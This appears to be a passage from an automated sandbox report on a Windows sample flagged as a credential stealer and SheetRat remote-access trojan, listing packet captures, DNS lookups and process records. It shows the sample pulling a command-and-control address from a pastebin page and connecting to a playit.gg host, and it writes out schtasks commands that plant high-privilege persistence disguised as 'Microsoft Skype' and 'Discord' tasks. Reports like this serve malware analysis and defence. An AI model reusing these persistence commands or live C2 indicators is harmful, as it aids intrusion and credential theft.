                                                                                                                                                                          Dec 13, 2024 08:26:50.346003056 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:50.346167088 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:50.644004107 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:53.089586973 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:53.388014078 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:53.388470888 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:53.635453939 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:53.682933092 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:53.928960085 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:53.929910898 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:54.227551937 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:54.227689028 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:54.524357080 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:55.260822058 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:55.552826881 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:55.553020954 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:55.799696922 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:55.854355097 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:56.100636959 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:56.106834888 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:56.409044027 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:56.409233093 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:56.705328941 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:56.705560923 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:56.952214956 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:56.952311993 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:57.198534966 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:57.199843884 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:57.497988939 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:57.498117924 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:57.794507980 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:57.947770119 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:58.247080088 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:58.247240067 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:58.494556904 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:58.541279078 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:58.788492918 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:58.790080070 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:59.087414026 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:59.087652922 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:59.341360092 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:59.384813070 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:59.630881071 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:59.632390976 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:59.930335999 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:59.930589914 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:00.225224972 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:01.962497950 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:02.263086081 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:02.263231039 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:02.510356903 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:02.511428118 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:02.757635117 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:02.758645058 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:03.004801035 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:03.005011082 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:03.306912899 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:03.307034016 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:03.602087021 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:03.805860996 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:04.100235939 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:04.100414038 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:04.347181082 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:04.399369955 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:04.645431042 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:04.646328926 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:04.942833900 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:04.942986012 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:05.237442970 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:07.117590904 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:07.405328035 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:07.405463934 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:07.652272940 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:07.653125048 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:07.950476885 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:07.950669050 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:08.197521925 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:08.242312908 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:08.476717949 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:08.488385916 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:08.488567114 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:08.734973907 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:08.735166073 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:08.735253096 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:08.788983107 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:08.981393099 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:08.981543064 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:09.273542881 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:10.179603100 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:10.474771976 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:10.475024939 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:10.721837044 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:10.772953033 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:11.019344091 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:11.020241022 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:11.315428019 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:11.315623999 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:11.611193895 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:11.611392021 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:11.858465910 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:11.913264036 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:12.159228086 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:12.210239887 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:15.093703985 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:15.382515907 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:15.382672071 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:15.630105019 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:15.678114891 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:15.924060106 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:15.924431086 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:16.224195004 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:16.224462032 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:16.520322084 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:28.534785032 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:28.827188015 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:28.827342987 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:29.075138092 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:29.128292084 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:29.374362946 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:29.374782085 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:29.665796041 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:29.666012049 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:29.963438988 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:41.969373941 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:42.265537024 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:42.265773058 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:42.512517929 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:42.562817097 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:42.808948994 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:42.809603930 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:43.107326031 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:27:43.107485056 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:27:43.401258945 CET902849715147.185.221.22192.168.11.20

                                                                                                                                                                          UDP Packets

                                                                                                                                                                          TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                          Dec 13, 2024 08:25:09.687964916 CET5947753192.168.11.201.1.1.1
                                                                                                                                                                          Dec 13, 2024 08:25:09.802314043 CET53594771.1.1.1192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:10.752823114 CET5366053192.168.11.201.1.1.1
                                                                                                                                                                          Dec 13, 2024 08:25:11.576464891 CET53536601.1.1.1192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:18.335741997 CET6229653192.168.11.201.1.1.1
                                                                                                                                                                          Dec 13, 2024 08:25:18.450654030 CET53622961.1.1.1192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:21.264755964 CET6176853192.168.11.201.1.1.1
                                                                                                                                                                          Dec 13, 2024 08:25:21.380728960 CET53617681.1.1.1192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:26.214750051 CET4925353192.168.11.201.1.1.1
                                                                                                                                                                          Dec 13, 2024 08:25:26.329301119 CET53492531.1.1.1192.168.11.20

                                                                                                                                                                          DNS Queries

                                                                                                                                                                          TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                                          Dec 13, 2024 08:25:09.687964916 CET192.168.11.201.1.1.10x46ddStandard query (0)pastebin.comA (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 13, 2024 08:25:10.752823114 CET192.168.11.201.1.1.10x24c3Standard query (0)l-carlo.gl.at.ply.ggA (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 13, 2024 08:25:18.335741997 CET192.168.11.201.1.1.10x3df0Standard query (0)icanhazip.comA (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 13, 2024 08:25:21.264755964 CET192.168.11.201.1.1.10x59e7Standard query (0)marketdedamoroza.webhop.meA (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 13, 2024 08:25:26.214750051 CET192.168.11.201.1.1.10xb0b3Standard query (0)49.39.14.0.in-addr.arpaPTR (Pointer record)IN (0x0001)false

                                                                                                                                                                          DNS Answers

                                                                                                                                                                          TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                                          Dec 13, 2024 08:25:09.802314043 CET1.1.1.1192.168.11.200x46ddNo error (0)pastebin.com104.20.4.235A (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 13, 2024 08:25:09.802314043 CET1.1.1.1192.168.11.200x46ddNo error (0)pastebin.com172.67.19.24A (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 13, 2024 08:25:09.802314043 CET1.1.1.1192.168.11.200x46ddNo error (0)pastebin.com104.20.3.235A (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 13, 2024 08:25:11.576464891 CET1.1.1.1192.168.11.200x24c3No error (0)l-carlo.gl.at.ply.gg147.185.221.22A (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 13, 2024 08:25:18.450654030 CET1.1.1.1192.168.11.200x3df0No error (0)icanhazip.com104.16.185.241A (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 13, 2024 08:25:18.450654030 CET1.1.1.1192.168.11.200x3df0No error (0)icanhazip.com104.16.184.241A (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 13, 2024 08:25:21.380728960 CET1.1.1.1192.168.11.200x59e7No error (0)marketdedamoroza.webhop.me0.0.0.0A (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 13, 2024 08:25:26.329301119 CET1.1.1.1192.168.11.200xb0b3Name error (3)49.39.14.0.in-addr.arpanonenonePTR (Pointer record)IN (0x0001)false

                                                                                                                                                                          HTTP Request Dependency Graph

                                                                                                                                                                          • pastebin.com
                                                                                                                                                                          • icanhazip.com

                                                                                                                                                                          HTTP Packets

                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                          0192.168.11.2049719104.16.185.241804984C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                          Dec 13, 2024 08:25:18.566581964 CET63OUTGET / HTTP/1.1
                                                                                                                                                                          Host: icanhazip.com
                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                          Dec 13, 2024 08:25:18.693553925 CET537INHTTP/1.1 200 OK
                                                                                                                                                                          Date: Fri, 13 Dec 2024 07:25:18 GMT
                                                                                                                                                                          Content-Type: text/plain
                                                                                                                                                                          Content-Length: 15
                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                          Access-Control-Allow-Methods: GET
                                                                                                                                                                          Set-Cookie: __cf_bm=n1N2_hwjFpQlXcLzwIDM7brMqqD6eMYQwruoJz3OjHw-1734074718-1.0.1.1-b2GCGpUQTituaz_r0V3sYWIDKNQ4c70Z.du6jGoK6JgR.1pDxZMyRVQls0VG_1Ph09eIgKPQ7xndOKsdPMx5SA; path=/; expires=Fri, 13-Dec-24 07:55:18 GMT; domain=.icanhazip.com; HttpOnly
                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                          CF-RAY: 8f14382f6de5b02f-ATL
                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                          Data Raw: 38 39 2e 31 38 37 2e 31 37 31 2e 31 36 35 0a
                                                                                                                                                                          Data Ascii: 89.187.171.165


                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                          1192.168.11.2049723104.16.185.241804984C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                          Dec 13, 2024 08:25:26.086349964 CET63OUTGET / HTTP/1.1
                                                                                                                                                                          Host: icanhazip.com
                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                          Dec 13, 2024 08:25:26.208214998 CET537INHTTP/1.1 200 OK
                                                                                                                                                                          Date: Fri, 13 Dec 2024 07:25:26 GMT
                                                                                                                                                                          Content-Type: text/plain
                                                                                                                                                                          Content-Length: 15
                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                          Access-Control-Allow-Methods: GET
                                                                                                                                                                          Set-Cookie: __cf_bm=SNls9OqbGC8L2bQWtkueq5EjZLUZno_SWJYGTdR.8JI-1734074726-1.0.1.1-CW7uvjfCjHIhPnhwroqgtcWAVWPGHvHpN.p7IvfAtsVDrpflsIV4EcB1qi.TFcDxJtvH.7dx2X3TGVtgFaim4Q; path=/; expires=Fri, 13-Dec-24 07:55:26 GMT; domain=.icanhazip.com; HttpOnly
                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                          CF-RAY: 8f14385e6ff7e592-ATL
                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                          Data Raw: 38 39 2e 31 38 37 2e 31 37 31 2e 31 36 35 0a
                                                                                                                                                                          Data Ascii: 89.187.171.165


                                                                                                                                                                          HTTPS Proxied Packets

                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                          0192.168.11.2049714104.20.4.2354434984C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                          2024-12-13 07:25:10 UTC74OUTGET /raw/bCQ1bAxy HTTP/1.1
                                                                                                                                                                          Host: pastebin.com
                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                          2024-12-13 07:25:10 UTC388INHTTP/1.1 200 OK
                                                                                                                                                                          Date: Fri, 13 Dec 2024 07:25:10 GMT
                                                                                                                                                                          Content-Type: text/plain; charset=utf-8
                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                          Connection: close
                                                                                                                                                                          x-frame-options: DENY
                                                                                                                                                                          x-content-type-options: nosniff
                                                                                                                                                                          x-xss-protection: 1;mode=block
                                                                                                                                                                          cache-control: public, max-age=1801
                                                                                                                                                                          CF-Cache-Status: MISS
                                                                                                                                                                          Last-Modified: Fri, 13 Dec 2024 07:25:10 GMT
                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                          CF-RAY: 8f1437fb28e753c6-ATL
                                                                                                                                                                          2024-12-13 07:25:10 UTC31INData Raw: 31 39 0d 0a 6c 2d 63 61 72 6c 6f 2e 67 6c 2e 61 74 2e 70 6c 79 2e 67 67 3a 39 30 32 38 0d 0a
                                                                                                                                                                          Data Ascii: 19l-carlo.gl.at.ply.gg:9028
                                                                                                                                                                          2024-12-13 07:25:10 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                          Statistics

                                                                                                                                                                          CPU Usage

                                                                                                                                                                          Click to jump to process

                                                                                                                                                                          Memory Usage

                                                                                                                                                                          Click to jump to process

                                                                                                                                                                          High Level Behavior Distribution

                                                                                                                                                                          Click to dive into process behavior distribution

                                                                                                                                                                          Behavior

                                                                                                                                                                          Click to jump to process

                                                                                                                                                                          System Behavior

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:0
                                                                                                                                                                          Start time:02:25:05
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:"C:\Users\user\Desktop\CVmkXJ7e0a.exe"
                                                                                                                                                                          Imagebase:0x740000
                                                                                                                                                                          File size:1'070'080 bytes
                                                                                                                                                                          MD5 hash:B70651A7C5EC8CC35B9C985A331FFCA3
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Yara matches:
                                                                                                                                                                          • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.3672605336.0000000012BFB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                          • Rule: JoeSecurity_SheetRat, Description: Yara detected SheetRat, Source: 00000000.00000002.3672605336.0000000012BFB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                          • Rule: JoeSecurity_SheetRat, Description: Yara detected SheetRat, Source: 00000000.00000002.3672605336.0000000012BD1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                          • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.3684881452.000000001CF10000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                          • Rule: JoeSecurity_SheetRat, Description: Yara detected SheetRat, Source: 00000000.00000002.3684881452.000000001CF10000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                          • Rule: INDICATOR_SUSPICIOUS_EXE_References_VPN, Description: Detects executables referencing many VPN software clients. Observed in infosteslers, Source: 00000000.00000002.3684881452.000000001CF10000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                          • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.3664308331.0000000002C6D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                          Reputation:low
                                                                                                                                                                          Has exited:false

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:2
                                                                                                                                                                          Start time:02:25:07
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\wbem\WmiPrvSE.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                                                                          Imagebase:0x7ff6a09e0000
                                                                                                                                                                          File size:496'640 bytes
                                                                                                                                                                          MD5 hash:60FF40CFD7FB8FE41EE4FE9AE5FE1C51
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Reputation:high
                                                                                                                                                                          Has exited:false

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:3
                                                                                                                                                                          Start time:02:25:07
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:"CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "Microsoft Skype" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" & exit
                                                                                                                                                                          Imagebase:0x7ff78c890000
                                                                                                                                                                          File size:289'792 bytes
                                                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Reputation:high
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:4
                                                                                                                                                                          Start time:02:25:07
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          Imagebase:0x7ff7eeb80000
                                                                                                                                                                          File size:875'008 bytes
                                                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Reputation:high
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:5
                                                                                                                                                                          Start time:02:25:07
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\schtasks.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "Microsoft Skype" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe"
                                                                                                                                                                          Imagebase:0x7ff748080000
                                                                                                                                                                          File size:235'008 bytes
                                                                                                                                                                          MD5 hash:796B784E98008854C27F4B18D287BA30
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Reputation:moderate
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:9
                                                                                                                                                                          Start time:02:25:30
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                                                                                                                                                                          Imagebase:0x7ff78c890000
                                                                                                                                                                          File size:289'792 bytes
                                                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Reputation:high
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:10
                                                                                                                                                                          Start time:02:25:30
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          Imagebase:0x7ff7eeb80000
                                                                                                                                                                          File size:875'008 bytes
                                                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Reputation:high
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:11
                                                                                                                                                                          Start time:02:25:30
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\schtasks.exe
